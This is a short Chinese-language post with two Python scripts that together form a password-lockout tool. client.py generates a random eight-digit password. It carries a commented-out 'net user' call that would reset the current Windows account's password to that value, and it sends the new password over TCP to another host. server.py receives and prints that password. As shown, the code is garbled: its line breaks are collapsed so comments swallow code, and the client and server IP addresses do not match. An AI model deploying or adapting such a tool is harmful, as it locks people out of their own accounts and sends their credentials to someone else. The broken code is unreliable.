分两个文件,服务端(被修改密码的计算机)要一直运行。
1.client.py
# -*- coding: utf-8 -*- import getpass#提供平台无关的在命令行修改密码方法 import subprocess#获取计算机账号 import socket import random #创建套节字,目的是在网络中找到客户端,ipv4,看直播udp,聊qq则tcp。socket能找到要修改的主机 client=socket.socket(socket.AF_INET,socket.SOCK_STREAM) client.connect(("192.168.0.196",8080)) #获取自己计算机用户名 user=getpass.getuser() psd=""#随机密码 for j in range(1,9): m=str(random.randrange(0,10)) psd=psd+m #控制windows cmd修改密码,即可修改成pwd中密码 #subprocess.Popen(['net','User',user,psd]) client.send(psd.encode('utf-8')) client.close() print(psd)
2.server.py
# -*- coding: utf-8 -*- import socket server=socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind(('192.168.0.1',8080))#绑定端口 server.listen(5)#监听5个 print('waiting...') conn,addr=server.accept()#创建连接 print(conn) print('its ip',addr) client_msg=conn.recv(1024) print('new password is:',client_msg) conn.close() server.close()